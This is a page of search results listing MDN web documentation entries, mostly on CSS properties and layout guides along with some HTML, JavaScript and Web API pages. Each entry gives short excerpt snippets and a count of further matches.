... .wrapper { display: grid; grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end]; grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end]; } once the lines have names, we can use the name to place the item rather than the line number.
...And 21 more matches
Visual formatting model - CSS: Cascading Style Sheets
much of the information about the visual formatting model is defined in css2, however, various level 3 specifications have added to this information.
... when reading specifications you will often find references to the model as defined in css2, so an understanding of the model and the terms used to describe it in css2 is valuable when reading other layout specifications.
...user agents can change the layout of the page when the viewport size changes — for example, if you resize your window, or change the orientation of a mobile device.
...And 21 more matches
nsIApplicationCacheService
netwerk/base/public/nsiapplicationcacheservice.idlscriptable this interface manages the set of application cache groups that manage offline resources for web applications.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void cacheopportunistically(in nsiapplicationcache cache, in acstring key); nsiapplicationcache chooseapplicationcache(in acstring key); nsiapplicationcache createapplicationcache(in acstring group); void deactivategroup(in acstring group); nsiapplicationcache getactivecache(in acstring group); nsiapplicationcache getapplicationcache(in acstring clientid); void getgroups([optional] out unsigned long count, [array, size_is(count), retval] out string groupids); methods cacheopportunistically() flags the specified key as one that should be cached opportunistically.
... note: this method should propagate the entry to other application caches with the same opportunistic namespace; however, this is not currently implemented.
...And 20 more matches
Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
the history of flexbox as with all css specifications the flexbox specification went through a large number of changes before it became the candidate recommendation that we have today.
... as a candidate recommendation we should not see large changes at this point to the spec, however this has not been the case with past flexbox iterations.
...however, prefixes ultimately were used in production code, and changes to the experimental specification caused people to need to update their sites to keep up.
...And 20 more matches
Subgrid - CSS: Cascading Style Sheets
level 2 of the css grid layout specification includes a subgrid value for grid-template-columns and grid-template-rows.
... this guide details what subgrid does, and gives some use cases and design patterns that are solved by the feature.
... introduction to subgrid when you add display: grid to a grid container, only the direct children become grid items and can then be placed on the grid that you have created.
...And 20 more matches
<length> - CSS: Cascading Style Sheets
WebCSSlength
lengths can be used in numerous css properties, such as width, height, margin, padding, border-width, font-size, and text-shadow.
...depending on the unit, this can be the size of a specific character, the line height, or the size of the viewport.
... note: these units, especially em and rem, are often used to create scalable layouts, which maintain the vertical rhythm of the page even when the user changes the font size.
...And 20 more matches
position - CSS: Cascading Style Sheets
WebCSSposition
the top, right, bottom, and left properties determine the final location of positioned elements.
...its effect on table-*-group, table-row, table-column, table-cell, and table-caption elements is undefined.
...it is positioned relative to the initial containing block established by the viewport, except when one of its ancestors has a transform, perspective, or filter property set to something other than none (see the css transforms spec), in which case that ancestor behaves as the containing block.
...And 20 more matches
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
WebHTMLElementcanvas
use the html <canvas> element with either the canvas scripting api or the webgl api to draw graphics and animations.
... content categories flow content, phrasing content, embedded content, palpable content.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlcanvaselement attributes this element's attributes include the global attributes.
...And 20 more matches
How to enable locale switching in a XULRunner application - Archive of obsolete content
this article is for developers who have localised their xul application using dtd entity files and want to provide their users with a mechanism to switch the locale in the application itself.
... normally the application locale is inherited from the os environment of the host system, however there are situations when you might want to give users the option to override the default setting and choose a different locale.
...modify the application preferences first, you need to tell xulrunner that your application wishes to ignore the default os locale and that it will do its own choosing instead.
...And 19 more matches
Notification.Notification() - Web APIs
the notification() constructor creates a new notification object instance, which represents a user notification.
... syntax var mynotification = new notification(title, options); parameters title defines a title for the notification, which is shown at the top of the notification window.
... options optional an options object containing any custom settings that you want to apply to the notification.
...And 19 more matches
Box-shadow generator - CSS: Cascading Style Sheets
<div id="preview"> <div id="obj-element"> <div class="content"> </div> <div id="obj-before"> </div> <div id="obj-after"> </div> </div> </div> </div> </div> <div id="controls" class="group section"> <div class="wrap-left"> <div class="colorpicker category"> <div class="title"> </div> <div id="colorpicker" class="group"> <div id="gradient" class="gradient"> <div id="gradient_picker"> </div> </div> <div id="hue" data-topic="hue" class="hue"> <div id="hue_selector"> </div> </div> ...
... <div class="block info"> <div class="input" data-topic="a" data-title='alpha:' data-action="alpha"></div> <div class="input" data-topic="hexa" data-title='' data-action="hexa"></div> </div> </div> </div> </div> <div class="wrap-right"> <div id="shadow_properties" class="category"> <div class="title"> shadow properties </div> <div class="group"> <div class="group property"> <div class="ui-slider-name"> inset </div> <div class="ui-checkbox" data-topic='inset'></div> </div> <div class="slidergroup"> <div cl...
...n="-100" data-max="100" data-step="1" data-value="50"> </div> <div class="ui-slider-btn-set" data-topic="spread" data-type="add"></div> <div class="ui-slider-input" data-topic="spread" data-unit="px"></div> </div> </div> </div> <div id="element_properties" class="category"> <div class="title"> class element properties </div> <div class="group"> <div class="group property"> <div class="ui-slider-name"> border </div> <div class="ui-checkbox" data-topic='border-state' data-state="true"></div> </div> <div id="z-index" class=...
...And 19 more matches
CSS Box Alignment - CSS: Cascading Style Sheets
this document details the general concepts found in the specification.
... older alignment methods css traditionally had very limited alignment capabilities.
... we were able to align text using text-align, center blocks using auto margins, and in table or inline-block layouts using the vertical-align property.
...And 19 more matches
Using CSS transitions - CSS: Cascading Style Sheets
instead of having property changes take effect immediately, you can cause the changes in a property to take place over a period of time.
...with css transitions enabled, changes occur at time intervals that follow an acceleration curve, all of which can be customized.
... animations that involve transitioning between two states are often called implicit transitions as the states in between the start and final states are implicitly defined by the browser.
...And 19 more matches
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
using the display property we can switch between block and inline.
...only when the value of display is changed do the children become flex or grid items and begin to respond to the other properties in the grid or flexbox specifications.
...you can see this if you take a <span> — normally an inline-level element — and apply display: flex to it.
...And 18 more matches
<transform-function> - CSS: Cascading Style Sheets
transformation functions can rotate, resize, distort, or move an element in 2d or 3d space.
... rotatey() rotates an element around the vertical axis.
... scaling (resizing) scale() scales an element up or down on the 2d plane.
...And 18 more matches
CanvasRenderingContext2D.scale() - Web APIs
the canvasrenderingcontext2d.scale() method of the canvas 2d api adds a scaling transformation to the canvas units horizontally and/or vertically.
... by default, one unit on the canvas is exactly one pixel.
... a scaling transformation modifies this behavior.
...And 17 more matches
@media - CSS: Cascading Style Sheets
WebCSS@media
the @media css at-rule can be used to apply part of a style sheet based on the result of one or more media queries.
... note: in javascript, the rules created using @media can be accessed with the cssmediarule css object model interface.
... description media types media types describe the general category of a device.
...And 17 more matches
Specificity - CSS: Cascading Style Sheets
how is specificity calculated?
...(the selectors declared inside :not() do, however.) for more information, visit: "specificity" in "cascade and inheritance", you can also visit: https://specifishity.com inline styles added to an element (e.g., style="font-weight: bold;") always overwrite any styles in external stylesheets, and thus can be thought of as having the highest specificity.
...although technically !important has nothing to do with specificity, it interacts directly with it.
...And 17 more matches
Viewport concepts - CSS: Cascading Style Sheets
on larger monitors where applications aren't necessarily full screen, the viewport is the size of the browser window.
... in fullscreen mode, the viewport is the device screen, the window is the browser window, which can be as big as the viewport or smaller, and the document is the website, which can be much taller or wider than the viewport.
... to recap, the viewport is basically the part of the document that is currently visible.
...And 17 more matches
<caption>: The Table Caption element - HTML: Hypertext Markup Language
WebHTMLElementcaption
the html <caption> element specifies the caption (or title) of a table.
... content categories none.
... tag omission the end tag can be omitted if the element is not immediately followed by ascii whitespace or a comment.
...And 17 more matches
calICalendarViewController - Archive of obsolete content
summary a calicalendarviewcontroller provides a way for a calicalendarview to create, modify, and delete items.
... implementing a calicalendarviewcontroller allows for these actions to be performed in a manner consistent with the rest of the application in which the calicalendarview is included.
... calendar/base/public/calicalendarviewcontroller.idlscriptable please add a summary to this article.
...And 16 more matches
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
if you want to cause them to wrap once they become too wide you must add the flex-wrap property with a value of wrap, or use the shorthand flex-flow with values of row wrap or column wrap.
...as the items can grow, they will expand larger than 160 px in order to fill each row completely.
... we can see the same thing happening with columns.
...And 16 more matches
Flow Layout and Writing Modes - CSS: Cascading Style Sheets
the css 2.1 specification, which details how normal flow behaves, assumes a horizontal writing mode.
... layout properties should work in the same way in vertical writing modes.
... the writing modes specification the css writing modes level 3 specification defines the impact a change the document writing mode has on flow layout.
...And 16 more matches
font-variant - CSS: Cascading Style Sheets
you can also set the css level 2 (revision 1) values of font-variant, (that is, normal or small-caps), by using the font shorthand.
... constituent properties this property is a shorthand for the following css properties: font-variant-alternates font-variant-caps font-variant-east-asian font-variant-ligatures font-variant-numeric syntax font-variant: small-caps; font-variant: common-ligatures small-caps; /* global values */ font-variant: inherit; font-variant: initial; font-variant: unset; values normal specifies a normal font face; each of the longhand properties has an initial value of normal.
... longhand properties of font-variant are: font-variant-caps, font-variant-numeric, font-variant-alternates, font-variant-ligatures, and font-variant-east-asian.
...And 16 more matches
Basic concepts of CSS Scroll Snap - CSS: Cascading Style Sheets
the css scroll snap specification gives us a way to snap scrolling to certain points as the user scrolls through a document.
... this can be helpful in creating a more app-like experience on mobile or even on the desktop for some types of applications.
... basics of scroll snap the key properties of the scroll snap specification are scroll-snap-type and scroll-snap-align.
...And 15 more matches
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
custom properties (sometimes referred to as css variables or cascading variables) are entities defined by css authors that contain specific values to be reused throughout a document.
... custom properties are subject to the cascade and inherit their value from their parent.
... basic usage declaring a custom property is done using a custom property name that begins with a double hyphen (--), and a property value that can be any valid css value.
...And 15 more matches
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
compatibility note: if you wish to use this property on websites, you should test it very carefully.
...kbox; appearance: radio; appearance: square-button; appearance: menulist; appearance: listbox; appearance: meter; appearance: progress-bar; /* partial list of available values in gecko */ -moz-appearance: scrollbarbutton-up; -moz-appearance: button-bevel; /* partial list of available values in webkit/blink (as well as gecko and edge) */ -webkit-appearance: media-mute-button; -webkit-appearance: caret; values standard keywords value demo browser description none div{ color: black; -moz-appearance:none; -webkit-appearance:none; appearance:none; } <div>lorem</div> firefox chrome safari edge no special styling is applied.
... menulist-button div { color: black; -moz-appearance: menulist-button; -webkit-appearance: menulist-button; } <div>lorem</div> firefox chrome safari edge the element is styled as a button that would indicate a menulist can be opened.
...And 15 more matches
<custom-ident> - CSS: Cascading Style Sheets
it is case-sensitive, and certain values are forbidden in various contexts to prevent ambiguity.
... syntax the syntax of <custom-ident> is similar to css identifiers (such as property names), except that it is case-sensitive.
... it consists of one or more characters, where characters can be any of the following: any alphabetical character (a to z, or a to z), any decimal digit (0 to 9), a hyphen (-), an underscore (_), an escaped character (preceded by a backslash, \), a unicode character (in the format of a backslash, \, followed by one to six hexadecimal digits, representing its unicode code point) note that id1, id1, id1 and id1 are all different identifiers as they are case-sensitive.
...And 15 more matches
will-change - CSS: Cascading Style Sheets
these kinds of optimizations can increase the responsiveness of a page by doing potentially expensive work before they are actually required.
... values */ will-change: auto; will-change: scroll-position; will-change: contents; will-change: transform; /* example of <custom-ident> */ will-change: opacity; /* example of <custom-ident> */ will-change: left, top; /* example of two <animateable-feature> */ /* global values */ will-change: inherit; will-change: initial; will-change: unset; proper usage of this property can be a bit tricky: don't apply will-change to too many elements.
... the browser already tries as hard as it can to optimize everything.
...And 15 more matches
Intl.Locale.prototype.caseFirst - JavaScript
the intl.locale.prototype.casefirst property is an accessor property that returns whether case is taken into account for the locale's collation rules.
... description a locale's collation rules are used to determine how strings are ordered in that locale.
... certain locales use a character's case (uppercase or lowercase) in the collation process.
...And 15 more matches
Using feature queries - CSS: Cascading Style Sheets
it doesn't matter which value you use in a lot of cases: if all you want is to check that the browser supports this property, then any valid value will do.
...there are often additional values added to properties in css, and so the fact that you have to test for property and value means that you can detect support for these values.
... testing for lack of support in addition to asking the browser if it supports a feature, you can test for the opposite by adding in the not keyword: @supports not (property: value) { css rules to apply } the css inside the following example feature query will run if the browser does not support row-gap.
...And 14 more matches
CSS Containment - CSS: Cascading Style Sheets
the aim of the css containment specification is to improve performance of web pages by allowing developers to isolate a subtree of the page from the rest of the page.
... if the browser knows that a part of the page is independent, rendering can be optimized and performance improved.
... the specification defines a single css property contain.
...And 14 more matches
conic-gradient() - CSS: Cascading Style Sheets
because <gradient>s belong to the <image> data type, they can only be used where <image>s can be used.
... why is it called a "conic" gradient?
... if the color stops are much lighter on one side than the other, it can look like a cone from above.
...And 14 more matches
content - CSS: Cascading Style Sheets
WebCSScontent
/* keywords that cannot be combined with other values */ content: normal; content: none; /* <image> values */ content: url("http://www.example.com/test.png"); content: linear-gradient(#e66465, #9198e5); /* alt text for generated content, added in the level 3 specification */ content: url("http://www.example.com/test.png") / "this is the alt text"; /* values below can only be applied to generated content using ::before and ::after */ /* <string> value */ content: "prefix"; /* <counter> values */ content: counter(chapter_counter); content: counters(section_counter, "."); /* attr() value linked to the html attribute value */ content: attr(valu...
...e string); /* language- and position-dependent keywords */ content: open-quote; content: close-quote; content: no-open-quote; content: no-close-quote; /* except for normal and none, several values can be used simultaneously */ content: open-quote chapter_counter; /* global values */ content: inherit; content: initial; content: unset; syntax values none the pseudo-element is not generated.
...this value can be any number of text characters.
...And 14 more matches
<easing-function> - CSS: Cascading Style Sheets
the <easing-function> css data type denotes a mathematical function that describes how fast one-dimensional values change during animations.
... the easing functions in the cubic-bezier subset of easing functions are often called "smooth" easing functions, because they can be used to smooth down the start and end of the animation.
... depending on the specific function used, the calculated output can sometimes grow to be greater than 1.0 or smaller than 0.0 during the course of an animation.
...And 14 more matches
image-rendering - CSS: Cascading Style Sheets
the image-rendering css property sets an image scaling algorithm.
... the user agent will scale an image when the page author specifies dimensions other than its natural size.
... scaling may also occur due to user interaction (zooming).
...And 14 more matches
margin-left - CSS: Cascading Style Sheets
the vertical margins of two adjacent boxes may fuse.
... this is called margin collapsing.
... in the rare cases where width is overconstrained (i.e., when all of width, margin-left, border, padding, the content area, and margin-right are defined), margin-left is ignored, and will have the same calculated value as if the auto value was specified.
...And 14 more matches
pointer-events - CSS: Cascading Style Sheets
the pointer-events css property sets under what circumstances (if any) a particular graphic element can become the target of pointer events.
...in these circumstances, pointer events will trigger event listeners on this parent element as appropriate on their way to/from the descendant during the event capture/bubble phases.
...the element can only be the target of a pointer event when the visibility property is set to visible and e.g.
...And 14 more matches
Shorthand properties - CSS: Cascading Style Sheets
using a shorthand property, you can write more concise (and often more readable) style sheets, saving time and energy.
... the css specification defines shorthand properties to group the definition of common properties acting on the same theme.
...similarly, the most common font-related properties can be defined using the shorthand font, and the different margins around a box can be defined using the margin shorthand.
...And 13 more matches
font-weight - CSS: Cascading Style Sheets
note that only four font weights are considered for relative weight calculation; see the meaning of relative weights section below.
...note that only four font weights are considered for relative weight calculation; see the meaning of relative weights section below.
... in earlier versions of the font-weight specification, the property accepts only keyword values and the numeric values 100, 200, 300, 400, 500, 600, 700, 800, and 900; non-variable fonts can only really make use of these set values, although fine-grained values (e.g.
...And 13 more matches
list-style-type - CSS: Cascading Style Sheets
moreover, because this property is inherited, it can be set on a parent element (commonly <ol> or <ul>) to make it apply to all list items.
... the cjk-ideographic is identical to trad-chinese-informal; it exists for legacy reasons.
...01, 02, 03, … 98, 99 lower-roman lowercase roman numerals e.g.
...And 13 more matches
Intl.Locale.prototype.calendar - JavaScript
the intl.locale.prototype.calendar property is an accessor property which returns the type of calendar used in the locale.
... description the calendar property returns the part of the locale that indicates the locale's calendar era.
... while most of the world uses the gregorian calendar, there are several regional calendar eras used around the world.
...And 13 more matches
AuthenticatorAssertionResponse.authenticatorData - Web APIs
the authenticatordata property of the authenticatorassertionresponse interface returns an arraybuffer containing information from the authenticator such as the relying party id hash (rpidhash), a signature counter, test of user presence, user verification flags, and any extensions processed by the authenticator.
... syntax var authnrdata = authenticatorassertionresponse.authenticatordata; value an arraybuffer that has a arraybuffer.bytelength of at least 37 bytes, containing the following fields: rpidhash (32 bytes) - a sha256 hash of the relying party id that was seen by the browser.
... flags (1 bytes) - a bitfield that indicates various attributes that were asserted by the authenticator.
...And 12 more matches
Coordinate systems - CSS: Cascading Style Sheets
when specifying the location of a pixel in a graphics context (just like when specifying coordinate systems in algebra), its position is defined relative to a fixed point in the context.
... this fixed point is called the origin.
...these are generally only different in terms of where their origin is located.
...And 12 more matches
Basic Shapes - CSS: Cascading Style Sheets
css shapes can be defined using the <basic-shape> type, and in this guide i’ll explain how each of the different values accepted by this type work.
...you can see in the screenshot that the shape is being defined with reference to that part of the box model.
... you can add the various box values after your basic shape definition.
...And 12 more matches
font-size - CSS: Cascading Style Sheets
WebCSSfont-size
description there are several ways to specify the font size, including with keywords or numerical values for pixels or ems.
...by setting a keyword font size on the <body> element, you can set relative font-sizing everywhere else on the page, giving you the ability to easily scale the font up or down on the entire page accordingly.
... font sizing settings can also be used in combination.
...And 12 more matches
margin-right - CSS: Cascading Style Sheets
the vertical margins of two adjacent boxes may fuse.
... this is called margin collapsing.
...its value can be positive, zero, or negative.
...And 12 more matches
RTCIceCandidate.candidate - Web APIs
the read-only property candidate on the rtcicecandidate interface returns a domstring describing the candidate in detail.
... most of the other properties of rtcicecandidate are actually extracted from this string.
... this property can be configured by specifying the value of the candidate property when constructing the new candidate object using rtcicecandidate().
...And 11 more matches
@font-face - CSS: Cascading Style Sheets
the @font-face css at-rule specifies a custom font with which to display text; the font can be loaded from either a remote server or a locally-installed font on the user's own computer.
...this can be a url to a remote font file location or the name of a font on the user's computer.
... to provide the browser with a hint as to what format a font resource is — so it can select a suitable one — it is possible to include a format type inside a format() function: src: url(ideal-sans-serif.woff) format("woff"), url(basic-sans-serif.ttf) format("truetype"); the available types are: "woff", "woff2", "truetype", "opentype", "embedded-opentype", and "svg".
...And 11 more matches
Alternative style sheets - CSS: Cascading Style Sheets
the web page can also provide its own user interface to let the user switch styles.
... try it out click here for a working example you can try out.
... details any stylesheet in a document falls into one of the following categories: persistent (no rel="alternate", no title=""): always applies to the document.
...And 11 more matches
background-image - CSS: Cascading Style Sheets
if a specified image cannot be drawn (for example, when the file denoted by the specified uri cannot be loaded), browsers handle it as they would a none value.
...if the images cannot be loaded—for instance, when the network is down—the background color will be used as a fallback.
... to specify multiple background images, supply multiple values, separated by a comma: background-image: linear-gradient(to bottom, rgba(255,255,0,0.5), rgba(0,0,255,0.5)), url('https://mdn.mozillademos.org/files/7693/catfront.png'); values none is a keyword denoting the absence of images.
...And 11 more matches
clamp() - CSS: Cascading Style Sheets
WebCSSclamp
the clamp() function can be used anywhere a <length>, <frequency>, <angle>, <time>, <percentage>, <number>, or <integer> is allowed.
... the expressions can be math functions (see calc() for more information), literal values, or other expressions, such as attr(), that evaluate to a valid argument type (like <length>), or nested min() and max() functions.
... as math expressions, so you can use addition, subtraction, multiplication and division without using the calc() function itself.
...And 11 more matches
cross-fade() - CSS: Cascading Style Sheets
the css cross-fade() function can be used to blend two or more images at a defined transparency.
... it can be used for many simple image manipulations, such as tinting an image with a solid color or highlighting a particular area of the page by combining an image with a radial gradient.
... syntax important: the specification and current implementations have different syntaxes.
...And 11 more matches
image() - CSS: Cascading Style Sheets
the image() css function defines an <image> in a similar fashion to the <url> function, but with added functionality including specifying the image's directionality, specifying fallback images for when the preferred image is not supported, displaying just a part of that image defined by a media fragment, and specifying a solid color as a fallback in case none of the specified images are able to be rendered.
...)where <image-tags> = ltr | rtl<image-src> = <url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...the spacial dimension definition in the media specification indicates that percentages will be supported as well: xywh=160,120,320,240 /* results in a 320x240 image at x=160 and y=120 */ xywh=pixel:160,120,320,240 /* results in a 320x240 image at x=160 and y=120 */ xywh=percent:25,25,50,50 /* results in a 50%x50% image at x=25% and y=25% */ the image fragments can be used in url() notation as well.
...And 11 more matches
linear-gradient() - CSS: Cascading Style Sheets
if specified, it consists of the word to and up to two keywords: one indicates the horizontal side (left or right), and the other the vertical side (top or bottom).
... because <gradient>s belong to the <image> data type, they can only be used where <image>s can be used.
... the starting point is the location on the gradient line where the first color begins.
...And 11 more matches
mask-size - CSS: Cascading Style Sheets
WebCSSmask-size
the size of the image can be fully or partially constrained in order to preserve its intrinsic ratio.
... a <bg-size> can be specified in one of three ways: using the keyword contain using the keyword cover using width and height values to specify a size using width and height, you can supply one or two values: if only one value is given it sets the width, with the height set to auto.
... each value can be a <length>, a <percentage>, or auto.
...And 11 more matches
String.prototype.toLocaleUpperCase() - JavaScript
the tolocaleuppercase() method returns the calling string value converted to upper case, according to any locale-specific case mappings.
... syntax str.tolocaleuppercase() str.tolocaleuppercase(locale) str.tolocaleuppercase([locale, locale, ...]) parameters locale optional the locale parameter indicates the locale to be used to convert to upper case according to any locale-specific case mappings.
... if multiple locales are given in an array, the best available locale is used.
...And 11 more matches
RTCIceCandidate.RTCIceCandidate() - Web APIs
the rtcicecandidate() constructor creates and returns a new rtcicecandidate object, which can be configured to represent a single ice candidate.
... syntax candidate = new rtcicecandidate([candidateinfo]); parameters candidateinfo optional an optional rtcicecandidateinit object providing information about the candidate; if this is provided, the candidate is initialized configured to represent the described candidate.
... return value a newly-created rtcicecandidate object, optionally configured based on the specified object based on the rtcicecandidateinit dictionary.
...And 10 more matches
Styling Columns - CSS: Cascading Style Sheets
as column boxes created inside multicol containers are anonymous boxes, there is little we can do to style them.
... however, we do have a few things that we can do.
... can i style the column boxes?
...And 10 more matches
Flow Layout and Overflow - CSS: Cascading Style Sheets
when there is more content than can fit into a container, an overflow situation occurs.
... giving an element a fixed height and width, then adding significant content to the box, creates a basic overflow example: the content goes into the box.
...this is why we can see the overflow content.
...And 10 more matches
clear - CSS: Cascading Style Sheets
WebCSSclear
vertical margins between two floated elements on the other hand will not collapse.
...this affects the position of later floats, since later floats cannot be positioned higher than earlier ones.
...this is called clearfix, and one way to do it is to add clear to a replaced ::after pseudo-element on it.
...And 10 more matches
font-family - CSS: Cascading Style Sheets
values are separated by commas to indicate that they are alternatives.
... the browser will select the first font in the list that is installed or that can be downloaded using a @font-face at-rule.
...for example, "times" and "helvetica" are font families.
...And 10 more matches
font-variation-settings - CSS: Cascading Style Sheets
syntax /* use the default settings */ font-variation-settings: normal; /* set values for variable font axis names */ font-variation-settings: "xhgt" 0.7; /* global values */ font-variation-settings: inherit; font-variation-settings: initial; font-variation-settings: unset; values this property's value can take one of two forms: normal text is laid out using default settings.
...each setting is always one or more pairs consisting of a <string> of 4 ascii characters followed by a <number> indicating the axis value to set.
...the <number> can be fractional or negative, depending on the value range available in your font, as defined by the font designer.
...And 10 more matches
max-block-size - CSS: Cascading Style Sheets
that is, if the writing direction is horizontal, then max-block-size is equivalent to max-height; if the writing direction is vertical, max-block-size is the same as max-width.
... this is useful because the max-width is always used for horizontal sizes and max-height is always used for vertical sizes, and if you need to set lengths based on the size of your text content, you need to be able to do so with the writing direction in mind.
... any time you would normally use max-height or max-width, you should instead use max-block-size to set the maximum "height" of the content (even though this may not be a vertical value) and max-inline-size to set the maximum "width" of the content (although this may instead be vertical rather than horizontal).
...And 10 more matches
min() - CSS: Cascading Style Sheets
WebCSSmin
the min() function can be used anywhere a <length>, <frequency>, <angle>, <time>, <percentage>, <number>, or <integer> is allowed.
... in the first above example, the width will be at most 200px, but will be smaller if the viewport is less than 400px wide (in which case 1vw would be 4px, so 50vw would be 200px).
...think of the min() value as providing the maximum value a property can have.
...And 10 more matches
repeating-conic-gradient() - CSS: Cascading Style Sheets
because <gradient>s belong to the <image> data type, they can only be used where <image>s can be used.
... a repeating conic gradient is specified by indicating a rotation angle, the center of the gradient, and then specifying a list of color-stops.
...browsers supporting repeating conic gradients also accept percent values, with 100% equaling 360 degrees, but this is not in the specification.
...And 10 more matches
CSS: Cascading Style Sheets
WebCSS
cascading style sheets (css) is a stylesheet language used to describe the presentation of a document written in html or xml (including xml dialects such as svg, mathml or xhtml).
... css among the core languages of the open web and is standardized across web browsers according to the w3c specification.
... previously development of various parts of css specification was done synchronously, which allowed versioning of the latest recommendation.
...And 10 more matches
JS_GetLocaleCallbacks
get and set locale specific string conversion and error message callbacks.
... syntax jslocalecallbacks * js_getlocalecallbacks(jsruntime *rt); void js_setlocalecallbacks(jsruntime *rt, jslocalecallbacks *callbacks); name type description cx jscontext * pointer to a js context from which to derive runtime information.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
...And 9 more matches
RTCIceCandidateInit.candidate - Web APIs
the optional property candidate in the rtcicecandidateinit dictionary specifies the value of the rtcicecandidate object's candidate property.
... value a domstring describing the properties of the candidate, taken directly from the sdp attribute "candidate".
... the candidate string specifies the network connectivity information for the candidate.
...And 9 more matches
::first-letter (:first-letter) - CSS: Cascading Style Sheets
some languages have digraphs that are always capitalized together, like the ij in dutch.
... in these cases, both letters of the digraph should be matched by the ::first-letter pseudo-element.
...in that case, ::first-letter will match the first letter of this generated content.
...And 9 more matches
src - CSS: Cascading Style Sheets
WebCSS@font-facesrc
ps://somewebsite.com/path/to/font.woff); /* absolute url */ src: url(path/to/font.woff); /* relative url */ src: url(path/to/font.woff) format("woff"); /* explicit format */ src: url('path/to/font.woff'); /* quoted url */ src: url(path/to/svgfont.svg#example); /* fragment identifying font */ /* <font-face-name> values */ src: local(font); /* unquoted name */ src: local(some font); /* name containing space */ src: local("font"); /* quoted name */ /* multiple items */ src: local(font), url(path/to/font.svg) format("svg"), url(path/to/font.woff) format("woff"), url(path/to/font.otf) format("opentype"); values <url> [ format( <string># ) ]?
... <font-face-name> specifies the name of a locally-installed font face using the local() function, which uniquely identifies a single font face within a larger family.
... the name can optionally be enclosed in quotes.
...And 9 more matches
@import - CSS: Cascading Style Sheets
WebCSS@import
syntax @import url; @import url list-of-media-queries; @import url supports( supports-query ); @import url supports( supports-query ) list-of-media-queries; where: url is a <string> or a <url> representing the location of the resource to import.
...note that the url for a mozilla package need not actually specify a file; it can just specify the package name and part, and the appropriate file is chosen automatically (e.g.
... chrome://communicator/skin/).
...And 9 more matches
CSS Animations tips and tricks - CSS: Cascading Style Sheets
run an animation again the css animations specification doesn't offer a way to run an animation again.
... there's no magic resetanimation() method on elements, and you can't even just set the element's animation-play-state to "running" again.
... note that because of this, the box doesn't start with any animation effects in place, so it won't be animating.
...And 9 more matches
The stacking context - CSS: Cascading Style Sheets
this occurs because these elements have special properties which cause them to form a stacking context.
... element with a opacity value less than 1 (see the specification for opacity).
...stacking contexts are treated atomically as a single unit in the parent stacking context.
...And 9 more matches
Browser compatibility and Scroll Snap - CSS: Cascading Style Sheets
firefox initially implemented an early version of the scroll snap specification, called scroll snap points.
... in firefox 68 the new version of the specification will be shipped and these old properties removed.
... if you have only used the old firefox implementation of the specification, with the properties that are detailed in scroll snap points, you should update your code to use the new specification.
...And 9 more matches
Shapes From Images - CSS: Cascading Style Sheets
in this guide we will take a look at how we can create a shape from an image file with an alpha channel or even from a css gradient.
...rather than drawing a path with a complex polygon in css, you can create the shape in a graphics program and then use the path created by the pixels less opaque than a threshold value.
...pixels that are more opaque than this value will be used to calculate the area of the shape.
...And 9 more matches
Using CSS transforms - CSS: Cascading Style Sheets
these transformations include rotation, skewing, scaling, and translation both in the plane and in the 3d space.
... only elements positioned by the box model can be transformed.
...by default, it is at the center of the element and can be moved.
...And 9 more matches
background-attachment - CSS: Cascading Style Sheets
syntax /* keyword values */ background-attachment: scroll; background-attachment: fixed; background-attachment: local; /* global values */ background-attachment: inherit; background-attachment: initial; background-attachment: unset; the background-attachment property is specified as one of the keyword values from the list below.
...(this is not compatible with background-clip: text.) local the background is fixed relative to the element's contents.
...it also applies to ::first-letter and ::first-line.inheritednocomputed valueas specifiedanimation typediscrete formal syntax <attachment>#where <attachment> = scroll | fixed | local examples simple example html <p> there were doors all round the hall, but they were all locked; and when alice had been all the way down one side and up the other, trying every door, she walked sadly down the middle, wondering how she was ever to get out again.
...And 9 more matches
color - CSS: Cascading Style Sheets
WebCSScolor
syntax /* keyword values */ color: currentcolor; /* <named-color> values */ color: red; color: orange; color: tan; color: rebeccapurple; /* <hex-color> values */ color: #090; color: #009900; color: #090a; color: #009900aa; /* <rgb()> values */ color: rgb(34, 12, 64, 0.6); color: rgba(34, 12, 64, 0.6); color: rgb(34 12 64 / 0.6); color: rgba(34 12 64 / 0.3); color: rgb(34.0 12 64 / 60%); color: rgba(34.6 12 64 / 30%); /* <hsl()> values */ color: hsl(30, 100%, 50%, 0.6); color: hsla(30, 100%, 50%, 0.6); color: hsl(30 100% ...
...it can't be a <gradient>, which is actually a type of <image>.
...in order to meet current web content accessibility guidelines (wcag), a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings.
...And 9 more matches
contain - CSS: Cascading Style Sheets
WebCSScontain
the contain css property allows an author to indicate that an element and its contents are, as much as possible, independent of the rest of the document tree.
... this allows the browser to recalculate layout, style, paint, size, or any combination of them for a limited area of the dom and not the entire page, leading to obvious performance benefits.
... this property is useful on pages that contain a lot of widgets that are all independent, as it can be used to prevent each widget's internals from having side effects outside of the widget's bounding-box.
...And 9 more matches
perspective-origin - CSS: Cascading Style Sheets
syntax /* one-value syntax */ perspective-origin: x-position; /* two-value syntax */ perspective-origin: x-position y-position; /* when both x-position and y-position are keywords, the following is also valid */ perspective-origin: y-position x-position; /* global values */ perspective-origin: inherit; perspective-origin: initial; perspective-origin: unset; values x-position indicates the position of the abscissa of the vanishing point.
... it can have one of the following values: <length-percentage> indicating the position as an absolute length value or relative to the width of the element.
... y-position indicates the position of the ordinate of the vanishing point.
...And 9 more matches
revert - CSS: Cascading Style Sheets
WebCSSrevert
the revert css keyword reverts the cascaded value of the property from its current value to the value the property would have had if no changes had been made by the current style origin to the current element.
...it can be applied to any css property, including the css shorthand all.
... this removes from the cascade all of the styles that have been overridden until the style being rolled back to is reached.
...And 9 more matches
<string> - CSS: Cascading Style Sheets
WebCSSstring
most characters can be represented literally.
